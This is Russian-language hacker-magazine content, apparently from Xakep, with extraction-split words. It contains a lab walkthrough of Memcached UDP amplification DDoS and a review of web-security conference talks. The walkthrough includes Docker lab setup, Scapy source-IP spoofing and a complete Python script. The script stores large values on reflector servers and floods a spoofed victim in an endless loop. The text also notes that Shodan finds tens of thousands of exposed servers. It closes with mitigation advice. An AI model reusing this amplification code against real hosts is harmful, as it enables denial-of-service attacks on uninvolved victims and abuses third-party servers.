cd ~/ && wget http://www.memcached.org/files/memcached‐1.5.5.tar.gz &
& tar xzf memcached‐1.5.5.tar.gz
cd ~/memcached‐1.5.5 && ./configure && make && make install
memcached ‐u root

За пущен ный докер‐кон тей нер, который будет играть роль сер вера
для ата ки

Те перь дело за DoS‐ботами, на них прос то под нима ем ту же самую вер сию
Memcached и лин куем кон тей неры с жер твой, что бы они мог ли отправ лять ей
пакеты по сети.

docker run ‐ti ‐‐rm ‐‐privileged ‐‐link=memcvictim ‐‐name=memcdo
sbot1 ‐‐hostname=memcdosbot1 debian
docker run ‐ti ‐‐rm ‐‐privileged ‐‐link=memcvictim ‐‐name=memcdo
sbot2 ‐‐hostname=memcdosbot2 debian

Ком пилиру ем дис три бутив.

cd ~/ && wget http://www.memcached.org/files/memcached‐1.5.5.tar.gz &
& tar xzf memcached‐1.5.5.tar.gz
cd ~/memcached‐1.5.5 && ./configure && make && make install
memcached ‐u root

И  пос ледняя  в  спис ке — машина  ата кующе го.  Ее  нуж но  слин ковать  с  DoS‐
ботами.

docker run ‐ti ‐‐rm ‐‐privileged ‐‐link=memcdosbot1 ‐‐link=memcdo
sbot2 ‐‐name=attacker ‐‐hostname=attacker debian

Здесь  нам  понадо бит ся  Python  и  биб лиоте ки:  Scapy  для  манипу лиро вания
пакета ми на низ ком уров не и memcache — для работы с базой дан ных.

apt‐get update && apt‐get install ‐y nano python wget 
python‐requests python‐scapy python‐memcache tcpdump

Ска чива ем исходный код экс пло ита.

cd ~ && wget https://www.exploit‐db.com/download/44254.py

В ито ге у нас получи лась сле дующая схе ма.

Схе ма тес тового окру жения для про вер ки Memcached DoS

ПАРА СЛОВ ПРО UDP
Ата ка будет выпол нять ся по про токо лу UDP, поэто му не мешало бы нем ного
погово рить  о  его  струк туре.  User  Datagram  Protocol,  или  про токол  поль‐ 
зователь ских  датаг рамм, — один из  клю чевых  эле мен тов  сте ка  TCP/IP. UDP,
в отли чие от TCP, исполь зует упро щен ную переда чу пакетов. В кон тек сте про‐ 
токо ла они называ ются датаг рамма ми и не содер жат все воз можных штам пов
вре мени, под писей, про вер ки целос тнос ти дан ных и тому подоб ных вещей.

Под разуме вает ся,  что  UDP  дол жен  исполь зовать ся  толь ко  для  переда чи
не силь но кри тич ных дан ных, так как допус кает, что они могут дуб лировать ся,
потерять ся или при ходить не в уста нов ленном поряд ке. Если нуж ны какие‐то
про вер ки сос тояний, то вся логика ложит ся на пле чи конеч ного при ложе ния.

Все,  что  каса ется  вида  датаг раммы,  опи сыва ется  в  стан дарте  ,
который  был  пред став лен  в  августе  1980  года.  Сог ласно  это му  докумен ту
струк тура пакета UDP выг лядит сле дующим обра зом.

RFC  768

Струк тура UDP‐пакета

За голо вок датаг раммы сос тоит из четырех полей, каж дое име ет раз мер два
бай та  (16  бит).  Выделен ные  цве том  поля  необя затель ны  к  исполь зованию
в про токо ле IPv4.

По ле  , как сле дует из наз вания, отве чает за номер пор та
отпра вите ля.  Если  пред полага ется,  что  на  передан ные  пакеты  нуж но  отве‐ 
чать,  то  зна чение  это го  поля  опре деля ет,  на  какой  конеч ный  порт  будет
посылать ся ответ. Это пер вое важ ное для экс плу ата ции поле.

порт отпра вите ля

 нужен, что бы датаг рамма ушла на порт, который слу шает
обра баты вающий ее сер вис.

Порт получа теля

Пос коль ку UDP — это  про токол без  уста нов ления  соеди нения,  то,  что бы
переда вать  дан ные меж ду машина ми  в  сети,  он  работа ет  над  IPv4.  Так  что,
помимо этих заголов ков, при сутс тву ют, разуме ется, еще и заголов ки от IP.

Обыч ный пакет UDP в сниф фере Wireshark

Как видишь, теперь появи лись еще заголов ки Source и Destination, в которых
ука заны IP‐адре са машин кли ента и сер вера соот ветс твен но.

ОСОБЕННОСТИ УЯЗВИМОСТИ
Схе ма этой ата ки ста ра,  как стек TCP/IP, потому что в ее осно ве лежит под‐ 
мена  IP‐адре са  отпра вите ля  (IP  Spoofing).  При  сос тавле нии  пакета  мож но
ука зать про изволь ный IP в заголов ке Source. Некор рек тно нас тро енный сер‐ 
вер  или  при ложе ние  без  соот ветс тву ющих  про верок  отпра вит  ответ  на  ука‐ 
зан ный  в  этом  поле  адрес.  Таким  обра зом  мож но  зас тавлять  ничего
не подоз рева ющие машины засыпать пакета ми неугод ные зло умыш ленни кам
сер веры.

Memcached  по  умол чанию  веша ет  кеширу ющий  сер вис  на  TCP‐
порт  11211  на  локаль ном  адре се.  Одна ко  этим  он  не  огра ничи вает ся  и  в
довесок откры вает UDP‐порт  под  тем же  номером,  толь ко  уже  на  всех  воз‐ 
можных  интерфей сах.  Такое  поведе ние  —  это  отго лос ки  дав но  минув ших
дней, ког да машины были нас толь ко сла быми, что овер хед, который при носит
реали зация про токо ла TCP, ощу тимо вли ял на про изво дитель ность при ложе‐ 
ния.

Взгля нем  на  ,  который  исправ ляет  этот  мис конфиг  (уяз вимостью
такое упу щение мож но наз вать лишь с натяж кой).

ком мит

Патч, который фик сит DoS‐мис конфиг

Дей стви тель но, до это го пат ча по умол чанию UDP‐порт 11211 тор чал наружу.

memcached.c
7482:     if (tcp_specified && settings.port != 0 && !udp_specified) 
{
7483:         settings.udpport = settings.port;
7484:     } else if (udp_specified && settings.udpport != 0 && !
tcp_specified) {
7485:         settings.port = settings.udpport;
7486:     }

Про верить мис конфиг мож но прос той коман дой:

echo ‐en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc ‐q1 ‐u 127.
0.0.1 11211

Тес тирова ние сер вера Memcached на уяз вимость

Да вай воору жим ся биб лиоте кой   и поп робу ем вруч ную соб рать пакет,
который уйдет на нуж ный нам адрес. Отправ лять будем с машины ата кующе‐ 
го. За заголов ки Source и Destination отве чают парамет ры   и  . В пер‐ 
вое  поле  впи шем  адрес  машины,  куда  мы  хотим  отпра вить  ответ,  сфор‐ 
мирован ный сер вером Memcached, который ука зан во вто ром поле. Пакет мы
будем отправ лять на машину   с IP‐адре сом 172.17.0.2.

Scapy

src dst

memcvictim

root@attacker:/# scapy
Welcome to Scapy (unknown.version)
>>> pck_ip = IP(src="172.17.0.2", dst="memcdosbot1")

Даль ше дело за самой датаг раммой. В   пишем порт, на который будет
отправ лен ответ, в   — порт, на который уйдет наш пакет. Это дефол тный
порт Memcached 11211.

sport
dport

>>> pck_udp = UDP(sport=31337, dport=11211)

В качес тве коман ды для тес та будем отправ лять  , которая выводит
ста тис тику о раз мерах эле мен тов в кеше.

stats sizes

>>> pck_data = "\x00\x00\x00\x00\x00\x01\x00\x00stats sizes\r\n"

Преж де чем отправ лять пакет, запус тим сниф фер tcpdump на машине mem‐
cvictim, что бы про кон тро лиро вать дос тавку пакета.

root@memcvictim:~/memcached‐1.5.5# tcpdump ‐X port 31337

Вре мя отправ лять пакет, для это го сущес тву ет фун кция  .send()

>>> ans = send(pck_ip/pck_udp/pck_data)

Спу финг IP‐адре са и отправ ка отве та на компь ютер‐жер тву

Бла года ря  это му ответ от Memcached  ухо дит  на  адрес  компь юте ра‐жер твы.
При чем он нем ного боль ше по раз меру, чем дан ные, которые мы отпра вили.
Если исполь зовать прос то коман ду  , то ответ будет еще боль ше.stats

Пе рех вачен ный ответ на Memcached‐коман ду stats

Из началь ный раз мер пакета‐зап роса был 43 байт, а ответ в ито ге получил ся
,  что  при мер но  в  44  раза  боль ше.  Теперь  мы

можем исполь зовать и дру гие коман ды Memcached для уве личе ния раз меров
отве та. Нап ример, мож но соз дать свои клю чи и записать в качес тве зна чений
дан ные  нуж ного  раз мера,  а  затем,  исполь зуя  коман ду  ,
отпра вить  их  на  ата куемую  машину.  При чем  мож но  получать  дан ные  сра зу
нес коль ких клю чей, ука зывая их наз вания через про бел: 

.

1400  +  508  =  1908  байт

get  <имя_ключа>

get <имя_ключа_1>
<имя_ключа_2> <имя_ключа_3>

В экс пло ите в качес тве зна чений клю ча исполь зует ся ответ от google.com.

44254.py
38: payload = requests.get("https://google.com").text
...
78:             mc = memcache.Client([server],debug=False)
79:             mc.set(payload_key, payload)

Возь мем  это  на  замет ку  и  соберем свой мини‐экс пло ит. Сна чала  импорти‐ 
руем необ ходимые модули.

import requests
import memcache
import re
from scapy.all import *
payload = requests.get("https://google.com").text

Спи сок   будет содер жать име на соз дава емых клю чей.keys

keys = [
   "key1",
   "key2",
   "key3"
]

А   — под готов ленные к отправ ке пакеты.packets

packets = []

В перемен ной   будем хра нить адре са уяз вимых сер веров Mem‐
cached. У нас их все го два — memcdosbot1 и memcdosbot2.

SERVER_LIST

SERVER_LIST = [
   "memcdosbot1:11211",
   "memcdosbot2:11211",
]

В   находит ся IP‐адрес и порт ата куемой машины.SERVER_TO_ATTACK

SERVER_TO_ATTACK = "172.17.0.2:11211"
target_ip, target_port = SERVER_TO_ATTACK.split(":")

Те перь  работа ем  с  каж дым  сер вером  по  отдель нос ти.  Сна чала  соз дадим
пары ключ — зна чение.

for server in SERVER_LIST:
   if ':' in server:
       server, port = server.split(':')
   cmd = "get"
   for key in keys:
       mc = memcache.Client([server],debug=False)
       mc.set(key, payload)
       cmd += " {}".format(key)

Даль ше  дело  за  фор мирова нием  пакета  и  его  записью  в  спи сок  пакетов,
готовых к отправ ке.

   pck_ip = IP(src=target_ip, dst=server)
   pck_udp = UDP(sport=int(target_port), dport=int(port))
   pck_data = "\x00\x00\x00\x00\x00\x01\x00\x00{0}\r\n".format(cmd)
   packets.append(pck_ip/pck_udp/pck_data)

От прав ляем пакеты.

while True:
   for packet in packets:
       send(packet)

Пос ле  чего  на  ата куемой  машине  видим  при мер но  такую  пакет ную  вак‐ 
ханалию.

Ус пешная экс плу ата ция. Завали ваем пакета ми машину‐жер тву

Здесь я написал прос то  , но при желании мож но было бы исполь‐ 
зовать биб лиоте ку asyncio для асин хрон ной отправ ки пакетов. К тому же сама
Scapy  уме ет  отправ лять  дан ные  в  бес конеч ном  потоке,  если  в  аргу мен ты
вызова   добавить  . Но это уже не отно сит ся к раз бору уяз вимос ти,
можешь сам побало вать ся на досуге.

while True

send loop=1

РЕАЛЬНЫЕ ОПАСНОСТИ
У нас были две под кон троль ные нам машины с уяз вимыми сер верами Mem‐
cached,  но  в  реаль ных  кей сах  для  про веде ния  ата ки  зло умыш ленни ку  пот‐ 
ребу ется  раз добыть  дос таточ ное  количес тво  таких  сер веров.  Где  их  взять?
Пятисе кун дное шур шание в популяр ных поис ковиках типа Shodan и ZoomEye
выда ет десят ки тысяч потен циаль но год ных для таких целей компь юте ров.

Спи сок най ден ных на сер висе ZoomEye сер веров с Memcached

Спи сок най ден ных на сер висе Shodan сер веров с Memcached

Даль ше  работа ет  прос тая  матема тика.  Если  взять  три  клю ча  где‐то
по 11 Кбайт  каж дый и отпра вить их с десяти  тысяч сер веров,  то получа ется
мощ ность  чуть  боль ше  2,64  Гбайт/с.  При  этом  исхо дящая  мощ ность  изна‐ 
чаль но была все го чуть более 10 Мбайт. Разуме ется, это все бумаж ные чис ла
и на прак тике все может силь но менять ся, так как зависит от мно жес тва фак‐ 
торов. Но мас шта бы воз можных проб лем при кинуть поз воля ет.

Не зави симый  эксперт Амир  Хаша яр Мохам мади  (Amir  Khashayar Moham‐
madi)  выложил  на  GitHub  сор цы  написан ной  на  Python  ути литы  со  звон ким
наз вани ем  ,  которая  в  авто мати чес ком  режиме  пар сит  дан ные
с Shodan о дос тупных сер верах с Memcached. Затем начина ет ата ковать ука‐ 
зан ный при запус ке IP‐адрес, рас сылая коман ды на эти сер веры.

Memcrashed

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ВЫВОДЫ
Как видишь, прос тей ший мис конфиг при вел  к  таким серь езным проб лемам.
Если  ты  счас тли вый  обла датель  проб лемных  инстал ляций  Memcached,  то
ско рее добав ляй  ключ    или  ,  что бы отклю чить  под дер жку
UDP.  Или  зак ручивай  гай ки  при  помощи фай рво ла,  если  вдруг  для  каких‐то
при ложе ний кри тич но исполь зование имен но это го про токо ла.

‐U 0 ‐‐udp‐port=0

Что бы не допус тить или по  край ней мере сни зить веро ятность подоб ных
проб лем, нуж но вни матель но отно сить ся к тем учас ткам кода, которые тянут‐ 
ся  из  древ них  вер сий  при ложе ния.  Хотя  бы  раз  в  год  нуж но  про водить
ревизию  ста рых  фун кций  на  пред мет  логичес ких  оши бок,  все воз можных
недоче тов, да и общей целесо образнос ти. Индус трия не сто ит на мес те, и то,
что  казалось  оче вид ным  и  безопас ным  вче ра,  может  стать  абсо лют но  неп‐ 
рием лемым и ком про мети рующим сегод ня.

https://twitter.com/iamsecurity
https://tools.ietf.org/html/rfc768
https://github.com/memcached/memcached/commit/dbb7a8af90054bf4ef51f5814ef7ceb17d83d974#diff-3970a0b3806605c2c138450fdae4e80e
http://scapy.readthedocs.io/en/latest/usage.html#starting-scapy
https://www.tutorialspoint.com/memcached/memcached_stats_sizes.htm
https://github.com/649/Memcrashed-DDoS-Exploit
https://vimeo.com/262386662
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ВЗЛОМ

Каж дый  безопас ник  дол жен  дер жать  руку  на  пуль се  и  быть
в  кур се  зна чимых  пуб ликаций  и  пре зен таций  по  нашему
с  тобой  про филю. Не  всем  уда ется  пос тоян но  путешес тво‐ 
вать по миру и посещать хакер ские кон ферен ции (завиду ем
белой  завистью  ),  но  с  некото рых  пор
для  наших  под писчи ков  это  перес тало  быть  проб лемой.
Пер вую  часть  статьи,  пос вящен ную  акту аль ным  ИБ‐док‐ 
ладам,  которые  сто ит  уви деть,  мы 

. Судя по ком ментам, читате лям это пон‐ 
равилось,  поэто му  мы  про дол жаем.  :)  В  этом  выпус ке  —
самые инте рес ные пуб ликации, пос вящен ные безопас ности
WebApp.

Де нису  Мак рушину

опуб ликова ли  в  начале
фев раля это го года

ЗОМБИ-РАСШИРЕНИЯ CHROME ЗАХВАТЫВАЮТ ИНТЕРНЕТ
Tomer Cohen. Game of Chromes: Owning  the Web with  Zombie Chrome Exten‐
sions // DEF CON. 2017

16  апре ля  2016  года  армия  ботов  штур мовала  сер веры  Wix,  соз давая
новые  акка унты  и  пуб ликуя  в  мас совом  поряд ке  теневые  веб‐сай ты.  Ата ка
велась  вре донос ным рас ширени ем бра узе ра Chrome,  которое  в резуль тате
саморас простра нения  было  уста нов лено  на  десят ках  тысяч  девай сов.  Этот
базиру ющий ся  на  рас ширени ях  бот  исполь зовал  Wix’овую  плат форму
веб‐сай тов  и  Facebook’овский  мес сен джер  —  для  саморас простра нения
сре ди  поль зовате лей  этих  интернет‐сер висов.  Два  месяца  спус тя  та  же
самая ата ка пов торилась. На этот раз зло умыш ленни ки инфи циро вали всплы‐ 
вающие  уве дом ления  Facebook’а —  так,  что бы  при  кли ке  по  это му  уве дом‐ 
лению  управле ние  переда валось  на  вре донос ный  JSE‐файл,  который  уста‐ 
нав ливал  кон тра бан дное  рас ширение  в  Chrome‐бра узе ре  жер твы.  Затем
это  кон тра бан дное  рас ширение  экс плу ати рова ло  Facebook’овский  мес сен‐ 
джер еще раз — теперь уже что бы рас простра нить себя еще боль шему чис лу
жертв.

Ана лизи руя эти две бот‐ата ки, поража ешь ся их неуло вимос ти, а осо бен но
тому,  как  они  обхо дят  веб‐ори енти рован ные  сис темы  обна руже ния  ботов.
Одна ко это не дол жно удив лять, пос коль ку легаль ным рас ширени ям бра узе ра
поз волено мно гое: отправ лять сооб щения в Facebook, соз давать веб‐сай ты
в Wix, да и вооб ще выпол нять любое дей ствие от име ни поль зовате ля. С дру‐ 
гой  сто роны,  кон тра бан дные  вре донос ные  рас ширения  в  Google Web  Store
и  их  эффектив ное  рас простра нение  сре ди  боль шого  количес тва  жертв,
подоб но двум опи сан ным выше ата кам, прев раща ют Google Web Store в зону
боевых дей ствий.

Кро ме того, сов сем недав но было обна руже но, что нес коль ко популяр ных
рас ширений  Chrome  уяз вимы  для  XSS.  Тому  самому  XSS,  которо му  под‐ 
верже но боль шинс тво веб‐при ложе ний. При чем в слу чае с бра узер ными рас‐ 
ширени ями  пос ледс твия  от  XSS  могут  быть  куда  более  раз рушитель ными,
чем  в  слу чае  с  тра дици онным  зло упот ребле нием  XSS  на  веб‐сай тах.  Яркий
тому  при мер  —  рас ширение  Adobe  Acrobat  для  Chrome,  которое  10  янва‐ 
ря 2016 года было по‐тихому уста нов лено ком пани ей Adobe на 30 мил лионов
компь юте ров.  DOM’овская  XSS‐уяз вимость,  най ден ная  в  этом  рас ширении,
поз воляла  зло умыш ленни ку  соз давать  кон тент,  запус кающий  JavaScript‐код
от име ни это го Adobe’овско го рас ширения.

В  док ладе  рас ска зыва ется,  как  подоб ные  изъ яны  при водят  к  пол ному
и пос тоян ному кон тро лю над бра узе ром жер твы, прев ращая легаль ное рас‐ 
ширение в зом би. Кро ме того, док ладчик про лива ет новый свет на две ата ки,
упо мяну тые в начале опи сания док лада. Демонс три рует, как зло умыш ленник
может  исполь зовать  ана логич ные  тех ники  для  эффектив ной  дос тавки  вре‐ 
донос ной  полез ной  наг рузки  к  новым жер твам,  через  популяр ные  соци аль‐ 
ные  плат формы  и  таким  обра зом  соз давать  в  интерне те  мощ ней шие
бот‐сети.

АТАКА НА БРАУЗЕРНЫЕ РАСШИРЕНИЯ ПО ОБХОДНЫМ КАНАЛАМ
Iskander Sanchez‐Rola, Igor Santos, Davide Balzarotti. Extension Breakdown: Se‐
curity  Analysis  of  Browsers  Extension Resources Control  Policies  //  Proceedings
of the 26th USENIX Security Symposium. 2017. P. 679–694

Все  наибо лее  вос тре бован ные  бра узе ры  под держи вают  механизм  рас‐ 
ширений.  Пос коль ку  бра узер ные  рас ширения  тес но  свя заны  с  бра узер ным
окру жени ем,  они  в  пос леднее  вре мя  ста ли  прив лекатель ным  для  зло умыш‐ 
ленни ков  объ ектом.  С  помощью  механиз ма  рас ширений  зло умыш ленни ки
уже дав но собира ют кон фиден циаль ную информа цию, прос матри вают исто‐ 
рию  поис ка,  вору ют  пароли.  Все  эти  свои  наход ки  зло умыш ленни ки  затем
исполь зуют для очень серь езных целенап равлен ных атак.

В  сов ремен ных  бра узе рах  теоре тичес ки  есть  конт рме ры,  которые
защища ют  рас ширения  и  их  ресур сы  от  дос тупа  к  ним  со  сто роны  треть их
лиц.  Одна ко  все  эти  конт рме ры  гре шат  одним  из  двух  изъ янов:  либо  их
недос таточ но, либо они реали зова ны некор рек тно.

В  этом  док ладе  пред став лена  ата ка  на  бра узер ные  рас ширения
по обходным каналам, как раз нап равлен ная про тив нас тро ек кон тро ля дос‐ 
тупа. Дан ная ата ка обхо дит даже самые сов ремен ные защит ные механиз мы,
во всех популяр ных бра узе рах, в том чис ле Chromium, Firefox, Microsoft Edge,
Safari.

Так же  в  док ладе  демонс три руют ся  раз рушитель ные  пос ледс твия  от  при‐ 
мене ния  пло хой  прак тики  прог рамми рова ния,  из‐за  которой  боль шинс тво
ныне сущес тву ющих бра узер ных рас ширений очень уяз вимы.

ЭКСПЛУАТАЦИЯ ОДНОЙ И ТОЙ ЖЕ SQLITE-УЯЗВИМОСТИ НА
РАЗНОМ СОФТЕ
Siji Feng, Zhi Zhou, Kun Yang. Many Birds One Stone: Exploiting a Single Sqlite Vul‐
nerability Across Multiple Software // Black Hat. 2017

SQLite  широко  исполь зует ся  в  качес тве  встро енной  БД  для  локаль ного/
кли ент ско го  хра нили ща  в  прик ладном  соф те,  таком  как  веб‐бра узе ры
и мобиль ный софт. Как реляци онная БД, SQLite уяз вима для SQL‐инъ екций.
Экс пло ита ми SQL‐инъ екций сегод ня уже мало кого уди вишь. Поэто му в док‐ 
ладе  сде лан  акцент  на  ошиб ки  пов режде ния  памяти  в  SQLite.  Обыч но  эти
ошиб ки не счи тают ся серь езны ми проб лемами кибер безопас ности, и пред‐ 
полага ется, что они вряд ли будут экс плу ати ровать ся. Одна ко в этом док ладе
опи саны нес коль ко вари антов пов режде ния памяти через уда лен ный дос туп,
что бы показать, что такой тип атак пред став ляет для SQLite серь езную опас‐ 
ность.

Эк скурс  в  SQLite‐экс пло иты  начина ется  с  WebSQL.  БД  WebSQL  —
это  веб‐интерфейс  для  хра нения  дан ных,  дос туп  к  которым  может  быть
получен  пос редс твом  SQL‐зап росов.  Хотя  рабочая  груп па W3C  прек ратила
раз вивать эту спе цифи кацию в 2010 году, мно гие сов ремен ные бра узе ры (в
том  чис ле  Google  Chrome,  Apple  Safari  и  Opera)  все  еще  име ют  в  сво ей
реали зации обширную фун кци ональ ность на осно ве SQLite.

В док ладе рас смот рено нес коль ко пос ледних  эта пов  в  эво люции SQLite,
рас ска зано,  какое  вли яние  эти  эта пы ока зали  на бра узе ры и  каким исправ‐ 
лени ям  SQLite  под верга лась  на  про тяже нии  сво ей  эво люции.  Кро ме  того,
в  док ладе  пред став лены  новей шие  SQLite‐уяз вимос ти,  которые  док ладчик
исполь зовал  для  ком про мета ции  Apple  Safari.  Этим  новей шим  уяз вимос тям
под верже ны  абсо лют но  все  бра узе ры,  которые  под держи вают  БД WebSQL,
в  том  чис ле  бра узер ные  ком понен ты  WebView  (Android)  и  UIWebView  (iOS),
которые широко исполь зуют ся в мобиль ном соф те.

Что бы  показать,  какими  серь езны ми  неп рият ностя ми  может  обер нуть ся
даже одна‐единс твен ная SQLite‐уяз вимость, в док ладе при веде но нес коль ко
при меров  при мене ния  опи сыва емо го  экс пло ита  про тив  раз ных  бра узе ров
и плат форм.

У мно гих язы ков прог рамми рова ния, в том чис ле PHP, Lua и Java, есть API
для  при вяз ки  к  SQLite.  Поэто му  ошиб ки  пов режде ния  памяти  в  SQLite,
помимо  все го  про чего,  ока зыва ют  раз рушитель ное  вли яние  на  фун кции
безопас ности этих язы ков прог рамми рова ния. В качес тве при мера в док ладе
про демонс три рова но, как ском про мети ровать PHP‐дви жок через его SQLite‐
рас ширение,  что бы  обой ти  огра ниче ния  безопас ности,  пре дус мотрен ные
в PHP.

НОВЕЙШИЕ ПРИМИТИВЫ И СТРАТЕГИИ ДЛЯ ПРОВЕДЕНИЯ CSRF-
АТАК
Joe Rozner. Wiping out CSRF // DEF CON. 2017

CSRF  (Cross  Site  Request  Forgery,  меж сай товая  под делка  зап роса)
не  теря ет  сво ей  акту аль нос ти  и  оста ется  неуло вимой — из‐за  уста рев шего
кода,  уста рев ших  фрей мвор ков,  а  так же  из‐за  того,  что  раз работ чики  поп‐ 
росту  не  понима ют  сути  этой  проб лемы,  а  если  и  понима ют,  то  не  зна ют,
как  от  нее  защитить ся.  Док ладчик  в  сво ем  выс тупле нии  вво дит  при мити вы
и стра тегии для про веде ния CSRF‐атак, которые могут быть раз верну ты про‐ 
тив  любого  веб‐соф та,  исполь зующе го  HTTP  (в  котором  сущес тву ет  тех‐ 
ничес кая  воз можность  перех ватывать  и  модифи циро вать  HTTP‐зап росы
и HTTP‐отве ты).

Сов ремен ные  фрей мвор ки  наконец‐то  ста ли  пред лагать  эффектив ные
решения  для  про тиво дей ствия  CSRF.  Эти  решения  авто мати чес ки  интегри‐ 
руют ся в веб‐софт и хорошо показы вают себя в боль шинс тве слу чаев. Одна‐ 
ко мно жес тво ста рых при ложе ний, а так же новые при ложе ния, которые либо
не  исполь зуют  эти  фрей мвор ки  вооб ще,  либо  исполь зуют  их  некор рек тно,
по‐преж нему под верже ны CSRF.

Док ладчик под робно раз бира ет, почему CSRF все еще жива, ана лизи руя
при  этом  при меры  «полез ной  наг рузки»,  которая  экс плу ати рует  кон крет ные
проб лемы в их раз личных вари ациях. Док ладчик про водит живую демонс тра‐ 
цию этих  атак и  показы вает,  как  сов ремен ные  умные фрей мвор ки пыта ются
защитить ся от них.

Да лее док ладчик показы вает, как син тезиро вать рас смот ренные при мити‐ 
вы  в  еди ное  уни вер саль ное решение,  спо соб ное  про водить CSRF  в  подав‐ 
ляющем боль шинс тве ситу аций. Объ ясня ются огра ниче ния умных фрей мвор‐ 
ков  и  экс плу ата ция  этих  огра ниче ний.  Под  конец  сво его  выс тупле ния  док‐ 
ладчик  рас смат рива ет  Same  Site  Cookies  —  новей шую  тех нологию  про тив
CSRF — и объ ясня ет,  как  и  почему опи сан ные методи ки рас простра няют ся
и на эту тех нологию.

ЗЛОУПОТРЕБЛЕНИЕ ВЕБ-ХУКАМИ — ДЛЯ C2 (COMMAND AND
CONTROL)
Dimitry Snezhkov. Abusing Webhooks for Command and Control // DEF CON. 2017

Ха кер  про ник  за  периметр.  Разуме ется,  он  хочет  про вес ти  эксфиль тра‐ 
цию,  ска чать  ути литу  или  выпол нить  коман ду  на  сво ем  C2‐сер вере.  Но  вот
проб лема:  в  каж дом из  этих  слу чаев  ему  необ ходимо  уста новить  с C2‐сер‐ 
вером  связь,  а  такая  воз можность  заб локиро вана.  Генери руемый  хакером
DNS‐тра фик  и  ICMP‐тра фик  монито рят ся.  Дос тупа  к  облачным  хра нили щам
нет.  Конеч но,  зло умыш ленни ку  уда лось  дос тавить  внутрь  перимет ра  фрон‐ 
тенд‐ком понент сво ей хакер ской ути литы, но в резуль тате он видит, что она
не может  пре одо леть  зас лон  кон тен тно го  прок си‐сер вера,  который  кон тро‐ 
лиру ет  дос туп  к  внеш ним  сай там.  Мно гим  взлом щикам  доводи лось  бывать
в  такой  передел ке,  и  выпутать ся  из  нее  помога ют  аль тер натив ные  спо собы
наладить  исхо дящее  под клю чение  к  сети.  В  док ладе  пред став лена  тех ника
налажи вания такой свя зи пос редс твом HTTP‐кол бэков: экс плу ата ция спис ка
«доверен ных  сай тов»  для  содей ствия  в  работе  с  внеш ним  C2‐сер вером
через веб‐хуки.

Док ладчик крат ко рас ска зыва ет, что такое веб‐хуки и как их исполь зовать.
Затем он объ ясня ет, как мож но прис пособить «одоб ренные сай ты» в качес‐ 
тве  пос редни ка  для  C2‐ком муника ции,  переда вать  дан ные,  отда вать  асин‐ 
хрон ные коман ды в режиме реаль ного вре мени. И все это в обход кон тен тных
прок си,  без  лиш них  циф ровых  сле дов! Под  конец док ладчик  демонс три рует
автор ский  инс тру мент,  который  авто мати зиру ет  опи сан ные  в  док ладе  тех‐ 
ники.

НОВОЕ ПОКОЛЕНИЕ SSRF-АТАК: ЭКСПЛОИТЫ ДЛЯ URL-ПАРСЕРОВ
САМЫХ ВОСТРЕБОВАННЫХ ЯЗЫКОВ ПРОГРАММИРОВАНИЯ
Orange Tsai. A New Era of SSRF: Exploiting URL Parser  in Trending Programming
Languages! // Black Hat. 2017

Док ладчик  демонс три рует  прин ципи аль но  новую  тех нику  при мене ния
SSRF‐экс пло итов (Server Side Request Forgery, под делка зап роса на сто роне
сер вера). Эта тех ника зна читель но рас ширя ет повер хность SSRF‐атак и поз‐ 
воля ет  обхо дить  даже  самые  сов ремен ные  SSRF‐конт рме ры.  Опи сыва емая
тех ника  пред став ляет  собой  ком биниро ван ный  под ход,  осно вой  которо го
слу жит  авто мати чес кий  поиск  спе цифи чес ких  0day‐уяз вимос тей  во  встро‐ 
енных  биб лиоте ках  язы ков  прог рамми рова ния.  Авто мати чес кий  поиск  0day‐
уяз вимос тей ведет ся при помощи автор ской  ути литы для фаз зинга,  которая
фокуси рует ся на поис ке толь ко тех уяз вимос тей, которые обус ловле ны несог‐ 
ласован ностью  дей ствий  URL‐пар серов  и  URL‐зап росов.  Проб лема  этой
несог ласован ности  фун дамен таль на,  и  она  свой ствен на  встро енным  биб‐ 
лиоте кам всех язы ков прог рамми рова ния, в том чис ле Python, PHP, Perl, Ruby,
Java, JavaScript, Wget и cURL.

Та ким обра зом, весь веб‐софт, раз работан ный с при мене нием этих язы‐ 
ков  и  встро енных  биб лиотек,  потен циаль но  уяз вим  для  нового  поколе ния
SSRF‐атак.  В  том  чис ле  WordPress  (на  долю  которо го  при ходит ся  27%
интерне та), vBulletin, MyBB и GitHub. Во всех этих веб‐при ложе ниях док ладчик
обна ружил  0day‐уяз вимос ти,  свя зан ные  с  несог ласован ностью  дей ствий
URL‐пар серов  и  URL‐зап росов.  В  док ладе  показа но  на  живых  при мерах,
как  при менять  экс пло иты  для  URL‐пар серов,  что бы  обхо дить  SSRF‐защиту
и  устра ивать  RCE  (Remote  Code  Execution,  уда лен ное  выпол нение  кода).
Разоб равшись  в  осно вопо лага ющих  момен тах  пред лага емой  док ладчи ком
тех ники,  уже  не  удив ляешь ся,  что  док ладчик  нашел  боль ше  двад цати  фун‐ 
дамен таль ных  уяз вимос тей  в  рас простра нен ных  язы ках  прог рамми рова ния
и наибо лее вос тре бован ном веб‐соф те.

DOM НЕДОСТОИН ВАШЕГО ДОВЕРИЯ: ОБХОД XSS-
БЛОКИРАТОРОВ ПОСРЕДСТВОМ СКРИПТ-ГАДЖЕТОВ
Sebastian  Lekies,  Krzysztof  Kotowicz,  Eduardo  Vela  Nava.  Don’t  Trust  the  DOM:
Bypassing XSS Mitigations via Script Gadgets // Black Hat. 2017

XSS (Cross‐Site Scripting, меж сай товый скрип тинг) — хро ничес кая болезнь
любого  веб‐соф та.  На  про тяже нии  дол гих  лет  пред при нима ются  все  новые
и  новые  попыт ки  победить  XSS.  Боль шинс тво  этих  попыток  сос редото чены
на кон тро ле тегов, в которых мож но запус кать скрип ты, и на кон тро ле обра‐ 
бот чиков  событий.  Полити ка  ,  к  при меру,  нацеле на
на уда ление потен циаль но опас ных тегов и атри бутов. Дру гая полити ка, 
(Content Security Policy, полити ка защиты кон тента), зап реща ет исполь зовать
встро енные  обра бот чики  событий  и  огра ничи вает  допус тимые  к  исполь‐ 
зованию скрип ты белым спис ком.

HTML-дезин фекции

CSP

В  этом  док ладе  пред став лена  новая  тех ника  взло ма  веб‐соф та,  которая
поз воля ет  зло умыш ленни ку  обхо дить  боль шинс тво  XSS‐бло кира торов.  Суть
этой  тех ники  —  в  исполь зовании  так  называ емых  скрипт‐гад жетов.
Скрипт‐гад жет — это закон ный фраг мент JS‐кода на веб‐стра нице, который
при  помощи  CSS‐селек торов  счи тыва ет  содер жимое  DOM‐эле мен тов
